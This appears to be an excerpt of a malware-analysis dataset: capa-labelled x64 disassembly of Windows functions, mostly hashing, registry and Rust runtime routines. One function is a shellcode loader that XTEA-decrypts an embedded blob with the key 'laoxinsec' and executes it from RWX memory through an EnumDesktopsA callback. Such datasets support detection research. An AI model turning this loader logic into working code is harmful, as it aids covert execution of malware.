joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400083b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov rbx, rdx
mov rsi, rcx
lea rdi, [rcx + 0x28]
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x20], 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_AcquireSRWLockExclusive]
nop dword [rax + rax]
nop
lea rcx, [rsi + 0x30]
mov rdx, rbx
call fcn.140008e3c
cmp qword [rsi + 0x40], 0
jne 0x1400084d2
mov ebx, 0x12c
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
and qword [rbp - 8], 0
and qword [rbp - 0x30], 0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20219
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftDDDiagnosticsHub
mov rcx, 0xffffffff80000002
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegOpenKeyExW]
nop dword [rax + rax]
test eax, eax
jne 0x1400084bc
lea rcx, [rbp - 0x18]
call fcn.14000776c
mov rcx, qword [rbp - 0x30]
mov qword [rbp - 0x18], rcx
test eax, eax
jne 0x1400084bc
and dword [rbp + 0x20], eax
mov dword [rbp + 0x30], 4
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x38]
xor r8d, r8d
lea rdx, str.CollectorService.IdleShutdownInSeconds
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
nop dword [rax + rax]
test eax, eax
jne 0x1400084bc
cmp dword [rbp + 0x38], 4
jne 0x1400084bc
mov ebx, dword [rbp + 0x20]
test ebx, ebx
jne 0x1400084bc
lea r8, str.Service_idle_shutdown_has_been_disabled
lea rdx, str.onecorecomdiagnostics_standardcollector_basecollection_standardcollector.service_standardcollectorhost.cpp
mov rcx, qword [0x140017848]
call fcn.14000b534
jmp 0x1400084c8
lea rcx, [rsi + 0x18]
mov edx, ebx
call fcn.140005d70
nop
lea rcx, [rbp - 0x18]
call fcn.14000776c
nop
mov rcx, rdi
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_1_0.dll_ReleaseSRWLockExclusive]
add dword [rcx], esp
xor dword [rax], ebp
pop rdx
jle 0x140026037
pop rdi
mov edi, 0xe4b72c7
invalid
stosb byte [rdi], al
movabs byte [0xe9f735983cf08d3c], al
cmc
movsb byte [rdi], byte [rsi]
or dh, byte [rsi - 0x35]
invalid

Function at 0x140008788
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
xor r9d, r9d
movabs rcx, 0xcbf29ce484222325
test r8, r8
je 0x1400087b8
movzx eax, byte [r9 + rdx]
movabs r10, 0x100000001b3
xor rcx, rax
inc r9
imul rcx, r10
cmp r9, r8
jb 0x14000879a
mov rax, rcx
ret
Function at 0x140011235
Capabilities:
Terminate process

Disassembly:
jmp 0x1400147c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112bc
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
jmp 0x140011c20
push rbp
push rsi
push rdi
sub rsp, 0x700
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x128
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x140024015]
call fcn.1400113f7
lea rax, [rbp + 8]
lea rcx, str.laoxinsec
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x40]
lea rcx, [0x14001aca0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x381
rep movsb byte [rdi], byte [rsi]
mov dword [rbp + 0x3e4], 0x381
mov eax, dword [rbp + 0x3e4]
add eax, 8
mov dword [rbp + 0x6d4], eax
mov eax, dword [rbp + 0x3e4]
cdq
and edx, 7
add eax, edx
and eax, 7
sub eax, edx
mov ecx, dword [rbp + 0x6d4]
sub ecx, eax
mov eax, ecx
and eax, 0xfff8
mov dword [rbp + 0x404], eax
movsxd rax, dword [rbp + 0x404]
mov rcx, rax
call fcn.14001119a
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x428], rax
movsxd rax, dword [rbp + 0x404]
mov r8, rax
mov edx, 0x90
mov rcx, qword [rbp + 0x428]
call fcn.140011320
movsxd rax, dword [rbp + 0x3e4]
mov r8, rax
lea rdx, [rbp + 0x40]
mov rcx, qword [rbp + 0x428]
call fcn.1400111e5
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x40]
call fcn.1400112c6
mov dword [rbp + 0x444], 0
jmp 0x140011d4e
mov eax, dword [rbp + 0x444]
add eax, 8
mov dword [rbp + 0x444], eax
mov eax, dword [rbp + 0x404]
cmp dword [rbp + 0x444], eax
jge 0x140011d81
lfence
movsxd rax, dword [rbp + 0x444]
mov rcx, qword [rbp + 0x428]
add rcx, rax
mov rax, rcx
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.1400112c6
jmp 0x140011d3f
movsxd rax, dword [rbp + 0x404]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x468], rax
movsxd rax, dword [rbp + 0x404]
mov r8, rax
mov rdx, qword [rbp + 0x428]
mov rcx, qword [rbp + 0x468]
call fcn.14001143d
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, qword [rbp + 0x468]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac50]
call fcn.140011370
mov eax, edi
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.1400111e0
lea rsp, [rbp + 0x6e0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112c6
Capabilities:
Encrypt data using xtea

Disassembly:
jmp 0x1400118f0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x20]
lea rcx, [0x140024015]
call fcn.1400113f7
mov byte [rbp + 0x24], 0
mov dword [rbp + 0x44], 0x9e3779b9
imul eax, dword [rbp + 0x44], 0x20
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x1a0]
mov eax, dword [rax]
mov dword [rbp + 0x84], eax
mov rax, qword [rbp + 0x1a0]
mov eax, dword [rax + 4]
mov dword [rbp + 0xa4], eax
mov dword [rbp + 4], 0
jmp 0x140011956
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x20
jae 0x1400119ff
mov eax, dword [rbp + 0x84]
shl eax, 4
mov ecx, dword [rbp + 0x84]
shr ecx, 5
xor eax, ecx
add eax, dword [rbp + 0x84]
mov ecx, dword [rbp + 0x64]
shr ecx, 0xb
and ecx, 3
mov ecx, ecx
mov rdx, qword [rbp + 0x1a8]
mov ecx, dword [rdx + rcx*4]
mov edx, dword [rbp + 0x64]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 0xa4]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0x44]
mov ecx, dword [rbp + 0x64]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0xa4]
shl eax, 4
mov ecx, dword [rbp + 0xa4]
shr ecx, 5
xor eax, ecx
add eax, dword [rbp + 0xa4]
mov ecx, dword [rbp + 0x64]
and ecx, 3
mov ecx, ecx
mov rdx, qword [rbp + 0x1a8]
mov ecx, dword [rdx + rcx*4]
mov edx, dword [rbp + 0x64]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 0x84]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x84], eax
jmp 0x14001194e
mov rax, qword [rbp + 0x1a0]
mov ecx, dword [rbp + 0x84]
mov dword [rax], ecx
mov rax, qword [rbp + 0x1a0]
mov ecx, dword [rbp + 0xa4]
mov dword [rax + 4], ecx
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x1400112d0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140013650
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140013670
xor al, al
jmp 0x1400136f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140013683
xor al, al
jmp 0x1400136f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400136ad
xor al, al
jmp 0x1400136f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400136c1
xor al, al
jmp 0x1400136f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400136d3
xor al, al
jmp 0x1400136f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400136ef
xor al, al
jmp 0x1400136f1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011480
Capabilities:
Reference http user-agent string

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, rcx
mov ecx, 5
call fcn.1401009ad
mov qword [rsp + 0x30], rax
mov rbx, rdx
mov dword [rdx], 0x353a3930
mov byte [rdx + 4], 0x35
mov ecx, 5
call fcn.1401009ad
mov qword [rsp + 0x28], rax
mov r15, rdx
mov dil, 0x30
mov byte [rdx + 4], dil
mov dword [rdx], 0x353a3331
mov ecx, 5
call fcn.1401009ad
mov qword [rsp + 0x20], rax
mov r13, rdx
mov byte [rdx + 4], dil
mov dword [rdx], 0x353a3731
mov ecx, 0x20
call fcn.1401009ad
mov rbp, rax
mov rdi, rdx
movups xmm0, xmmword [0x140258fcf]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [0x140258fdf]
movups xmmword [rdx + 0x10], xmm0
mov ecx, 0x50
call fcn.1401009ad
mov r14, rax
mov r12, rdx
lea rdx, [0x140258d2d]
mov r8d, 0x50
mov rcx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x30]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov eax, 5
mov qword [rsi + 0x10], rax
mov rcx, qword [rsp + 0x28]
mov qword [rsi + 0x18], rcx
mov qword [rsi + 0x20], r15
mov qword [rsi + 0x28], rax
mov rcx, qword [rsp + 0x20]
mov qword [rsi + 0x30], rcx
mov qword [rsi + 0x38], r13
mov qword [rsi + 0x40], rax
mov qword [rsi + 0x48], rbp
mov qword [rsi + 0x50], rdi
mov qword [rsi + 0x58], 0x20
and qword [rsi + 0x60], 0
mov qword [rsi + 0x68], 1
and qword [rsi + 0x70], 0
mov qword [rsi + 0x78], r14
mov qword [rsi + 0x80], r12
mov qword [rsi + 0x88], 0x50
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14007300f
Capabilities:
Hash data using sha256

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
add rcx, 0x28
call fcn.14007337a
movaps xmm0, xmmword [0x140250270]
movups xmmword [rsi + 0x10], xmm0
movaps xmm0, xmmword [0x140250280]
movups xmmword [rsi], xmm0
and qword [rsi + 0x20], 0
add rsp, 0x20
pop rsi
ret

Function at 0x140073302
Capabilities:
Hash data using sha256

Disassembly:
mov rcx, qword [rcx]
mov r8d, 1
jmp 0x1401dab9a
Function at 0x1400734b8
Capabilities:
Hash data using fnv

Disassembly:
mov rax, qword [rcx]
xor r9d, r9d
movabs r10, 0x100000001b3
cmp r8, r9
je 0x1400734de
movzx r11d, byte [rdx + r9]
xor rax, r11
imul rax, r10
inc r9
jmp 0x1400734c8
mov qword [rcx], rax
ret

Function at 0x140073ff1
Capabilities:
Hash data using sha256

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x218
movaps xmmword [rsp + 0x200], xmm7
movaps xmmword [rsp + 0x1f0], xmm6
mov r14, r9
mov r15, r8
mov rbx, rcx
lea rcx, [rsp + 0x50]
mov r8d, 0x20
call fcn.140072f24
xor eax, eax
cmp rax, 0x40
je 0x14007403c
xor byte [rsp + rax + 0x50], 0x36
inc rax
jmp 0x14007402c
movaps xmm6, xmmword [0x140250290]
lea rcx, [rsp + 0x28]
movups xmmword [rcx + 0x10], xmm6
movaps xmm7, xmmword [0x1402502a0]
movups xmmword [rcx], xmm7
and qword [rcx + 0x20], 0
lea rdx, [rsp + 0x50]
mov r8d, 1
call fcn.140073371
xor eax, eax
cmp rax, 0x40
je 0x14007407d
xor byte [rsp + rax + 0x50], 0x6a
inc rax
jmp 0x14007406d
lea rdi, [rsp + 0x130]
movups xmmword [rdi + 0x10], xmm6
movups xmmword [rdi], xmm7
and qword [rdi + 0x20], 0
lea rdx, [rsp + 0x50]
mov r8d, 1
mov rcx, rdi
call fcn.140073371
mov rax, qword [rdi + 0x20]
lea rsi, [rsp + 0x90]
mov qword [rsi + 0x48], rax
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsi + 0x38], xmm1
movups xmmword [rsi + 0x28], xmm0
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsi], xmm0
movaps xmmword [rsi + 0x10], xmm1
mov rax, qword [rsp + 0x48]
mov qword [rsi + 0x20], rax
lea r12, [rsp + 0x158]
mov ecx, 0xa
mov rdi, r12
rep movsq qword [rdi], qword [rsi]
lea rcx, [rsp + 0x1a8]
call fcn.14007337a
lea rsi, [rsp + 0x98]
mov r8d, 0x98
mov rcx, rsi
mov rdx, r12
call sub.msvcrt.dll_memcpy
and qword [rsi - 8], 0
lea r8, [0x140265c50]
lea rsi, [rsp + 0x158]
lea rdx, [rsp + 0x90]
mov rcx, rsi
call fcn.14007419d
mov rcx, rsi
mov rdx, r15
mov r8, r14
call fcn.1400741dd
lea rdi, [rsp + 0x90]
mov r8d, 0x98
mov rcx, rdi
mov rdx, rsi
call sub.msvcrt.dll_memcpy
lea rsi, [rsp + 0x50]
mov rcx, rsi
mov rdx, rdi
call fcn.140074339
mov rcx, rbx
mov rdx, rsi
call fcn.140071a3a
movaps xmm6, xmmword [rsp + 0x1f0]
movaps xmm7, xmmword [rsp + 0x200]
add rsp, 0x218
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400c69d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x1400c6a60
cmp r11, r10
ja 0x1400c6ad6
cmp r10, rdx
ja 0x1400c6ae8
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x1400c6a62
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x1400c6a40
jmp 0x1400c6ac4
ja 0x1400c6a6a
mov r11, r10
cmp rax, r8
jne 0x1400c6a04
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400c6aa0
mov rdi, r8
sub ecx, edx
jns 0x1400c6abb
jmp 0x1400c6ac6
cmp r8, rsi
je 0x1400c6af7
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x1400c6ac6
xor al, 1
cmp rdi, rsi
jne 0x1400c6a80
jmp 0x1400c6ac6
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400c1500
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400be300
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.1400be6a0
int3

Function at 0x1400cc402
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14024e090]
test ecx, ecx
je 0x1400cc41b
dec ecx
add rsp, 0x28
jmp fcn.140241db8
lea rcx, [0x14024e078]
call fcn.1401de120
mov ecx, eax
jmp 0x1400cc412

Function at 0x1400cc42b
Capabilities:
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rdx
mov rax, rcx
mov ecx, dword [rcx + 0x18]
test ecx, ecx
je 0x1400cc44c
dec ecx
mov rdx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140241dc0
mov rcx, rax
call fcn.1401de120
mov ecx, eax
jmp 0x1400cc43f

Function at 0x1400ccc8a
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
mov r12d, 0xffffffff
xor esi, esi
test rdi, rdi
je 0x1400cccf4
mov r14, rbx
cmp rdi, r12
mov r15d, 0xffffffff
cmovb r15, rdi
add rbx, r15
sub rdi, r15
xor ecx, ecx
mov rdx, r14
mov r8d, r15d
mov r9d, 2
call sub.bcrypt.dll_BCryptGenRandom
cmp eax, 0xbfffffff
jbe 0x1400ccca6
mov ebp, eax
mov rcx, r14
mov edx, r15d
call sub.advapi32.dll_SystemFunction036
test al, al
jne 0x1400ccca6
add ebp, 0x80000000
mov esi, ebp
mov eax, esi
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x1400cef62
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rdx
mov rdi, rcx
mov rbx, qword [rcx]
xor ecx, ecx
test rbx, rbx
setne cl
call fcn.1400ba8bc
test rbx, rbx
je 0x1400cef9b
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400734b8
mov cl, byte [rdi + 8]
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400cee76
Function at 0x1400fffde
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
mov r14, qword [0x14039c0a8]
test r14, r14
jne 0x14010010d
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140100045
mov rbx, rax
lea rdx, str.WaitOnAddress
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140100045
mov rdi, rax
lea rdx, str.WakeByAddressSingle
mov rcx, rbx
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140100045
mov r15, rax
xor ebx, ebx
jmp 0x1401000c6
lea rcx, str.ntdll.dll
call sub.kernel32.dll_GetModuleHandleA
test rax, rax
je 0x140100121
mov rdi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140100121
mov r14, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rdi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140100121
mov rbx, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rdi
call sub.kernel32.dll_GetProcAddress
test rax, rax
je 0x140100121
mov rdi, rax
lea rcx, [rsp + 0x28]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call r14
test eax, eax
jne 0x140100121
mov r15, qword [rsp + 0x28]
mov ecx, 0x18
call fcn.1400fd5e1
mov r14, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rax + 0x10], r15
xor eax, eax
lock cmpxchg qword [0x14039c0a8], r14
je 0x14010010d
mov rdi, rax
cmp qword [r14], 0
je 0x1401000fd
mov rcx, qword [r14 + 0x10]
call sub.kernel32.dll_CloseHandle
mov edx, 8
mov rcx, r14
call fcn.14001eca0
mov r14, rdi
and qword [rsi + 8], 0
mov qword [rsi], r14
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8__home_r3dlust_.cargo_registry_src_index.crates.io_6f17d22bba15001f_parking_lot_core_0.9.9_src_thread_parker_windows_mod.rs
lea r8, [0x1402a2898]
mov edx, 0x5b
call fcn.14010013a
int3

Function at 0x1401007ac
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14024e0b0]
test ecx, ecx
je 0x1401007c5
dec ecx
add rsp, 0x28
jmp fcn.140241db8
lea rcx, [0x14024e098]
call fcn.1401de120
mov ecx, eax
jmp 0x1401007bc
Function at 0x1401079fc
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14024e0f0]
test ecx, ecx
je 0x140107a15
dec ecx
add rsp, 0x28
jmp fcn.140241db8
lea rcx, [0x14024e0d8]
call fcn.1401de120
mov ecx, eax
jmp 0x140107a0c

Function at 0x1401117e9
Capabilities:
Hash data using fnv

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xc8
mov r14, r9
mov rsi, r8
mov r11, rdx
movabs rdi, 0x100000001b3
mov r15, qword [r9 + 8]
mov r8, qword [r9 + 0x10]
lea rdx, [r8*8]
movabs rax, 0xcbf29ce484222325
mov r9, r15
test rdx, rdx
je 0x14011185d
movzx r10d, byte [r9 + 4]
xor rax, r10
imul rax, rdi
movzx r10d, byte [r9 + 5]
xor r10, rax
mov eax, dword [r9]
add r9, 8
imul r10, rdi
xor rax, r10
imul rax, rdi
add rdx, 0xfffffffffffffff8
jmp 0x14011182c
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x1401119c9
movabs r13, 0x8000000000000008
xor edx, edx
div r9
mov rdi, rdx
mov rax, qword [rsi + 8]
mov r12, rdx
shl r12, 5
movzx edx, word [rax + r12 + 0x1c]
cmp dx, word [rsi + 0x20]
jne 0x1401118dd
cmp qword [rax + r12 + 0x10], r8
jne 0x1401118dd
mov rbx, qword [rax + r12 + 8]
xor r9d, r9d
cmp r8, r9
je 0x1401119a0
mov rdx, r9
mov r9b, byte [rbx + r9*8 + 4]
cmp r9b, byte [r15 + rdx*8 + 4]
jne 0x1401118d4
mov r9b, byte [rbx + rdx*8 + 5]
cmp r9b, byte [r15 + rdx*8 + 5]
jne 0x1401118d4
mov r10d, dword [rbx + rdx*8]
lea r9, [rdx + 1]
cmp r10d, dword [r15 + rdx*8]
je 0x1401118a2
cmp rdx, r8
jae 0x1401119a0
mov qword [rsp + 0x28], r14
mov rbx, rcx
lea r13, [rsp + 0x30]
mov rcx, r13
mov rdx, r15
mov r14, r11
call fcn.1401119f1
lea rbp, [rsp + 0x48]
mov rcx, rbp
mov rdx, r14
mov r8, r13
movabs r14, 0x8000000000000008
call fcn.140110600
mov rax, qword [rbp]
cmp rax, r14
jne 0x140111980
mov rdx, qword [rsi + 0x10]
cmp rdx, rdi
jbe 0x1401119e1
mov edi, dword [rsp + 0x50]
movzx ebp, word [rsi + 0x20]
mov rsi, qword [rsi + 8]
mov rcx, qword [rsi + r12]
mov rdx, qword [rsi + r12 + 8]
call fcn.14011127f
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + 0x10]
mov qword [rsi + r12 + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rsi + r12], xmm0
mov dword [rsi + r12 + 0x18], edi
mov word [rsi + r12 + 0x1c], bp
mov dword [rbx + 8], edi
mov qword [rbx], r14
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rsi, [rsp + 0x54]
mov edx, dword [rsi - 4]
lea rdi, [rbx + 0xc]
mov ecx, 0x1d
rep movsd dword [rdi], dword [rsi]
mov qword [rbx], rax
mov dword [rbx + 8], edx
mov r14, qword [rsp + 0x28]
jmp 0x1401119ab
mov eax, dword [rax + r12 + 0x18]
mov dword [rcx + 8], eax
mov qword [rcx], r13
mov rcx, qword [r14]
mov rdx, r15
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp fcn.14011127f
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zerothere_is_no_such_thing_as_a_release_load
lea r8, str._home_r3dlust_.cargo_registry_src_index.crates.io_6f17d22bba15001f_regex_automata_0.4.5_src_nfa_thompson_map.rs
mov edx, 0x39
call fcn.1400be6a0
lea r8, str._home_r3dlust_.cargo_registry_src_index.crates.io_6f17d22bba15001f_regex_automata_0.4.5_src_nfa_thompson_map.rs
mov rcx, rdi
call fcn.1400bd810
int3
Function at 0x14018d077
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x698
mov r15, r8
mov rdi, rdx
mov qword [rsp + 0x78], rcx
mov rdx, qword [rdx + 0x400]
add rdx, 0x10
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.140048989
lea rdx, str._home_r3dlust_.cargo_registry_src_index.crates.io_6f17d22bba15001f_h2_0.3.24_src_proto_streams_streams.rs
mov rcx, rsi
call fcn.140186cbd
mov rcx, qword [rax + 0x28]
or rcx, qword [rax + 0x38]
je 0x14018d0d3
mov rcx, rax
call fcn.1400a3944
jmp 0x14018d0ff
mov rsi, qword [rax + 0x230]
mov rcx, rax
call fcn.1400a3944
cmp rsi, 1
ja 0x14018d0ff
mov rdx, qword [rdi + 0x400]
add rdx, 0x10
lea rcx, [rdi + 0x3a0]
call fcn.140191c28
cmp dword [rdi + 0x378], 2
jne 0x14018d116
mov qword [rsp + 0x180], 2
jmp 0x14018d12a
lea rdx, [rdi + 0x378]
lea rcx, [rsp + 0x180]
call fcn.140211ffc
mov rax, qword [rdi + 0x398]
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
movups xmm0, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x430], xmm0
mov qword [rsp + 0x420], rcx
mov qword [rsp + 0x428], rdx
mov qword [rsp + 0x440], rax
cmp dword [rsp + 0x420], 2
je 0x14018d188
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x420]
call fcn.140212097
mov qword [rsp + 0x5a8], 2
and qword [rsp + 0x5c8], 0
lea r12, [rdi + 0x48]
lea rax, [rdi + 0x3a0]
mov qword [rsp + 0x110], rax
lea rax, [rdi + 0x410]
mov qword [rsp + 0x178], rax
lea r14, [rsp + 0x2b8]
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x68], r12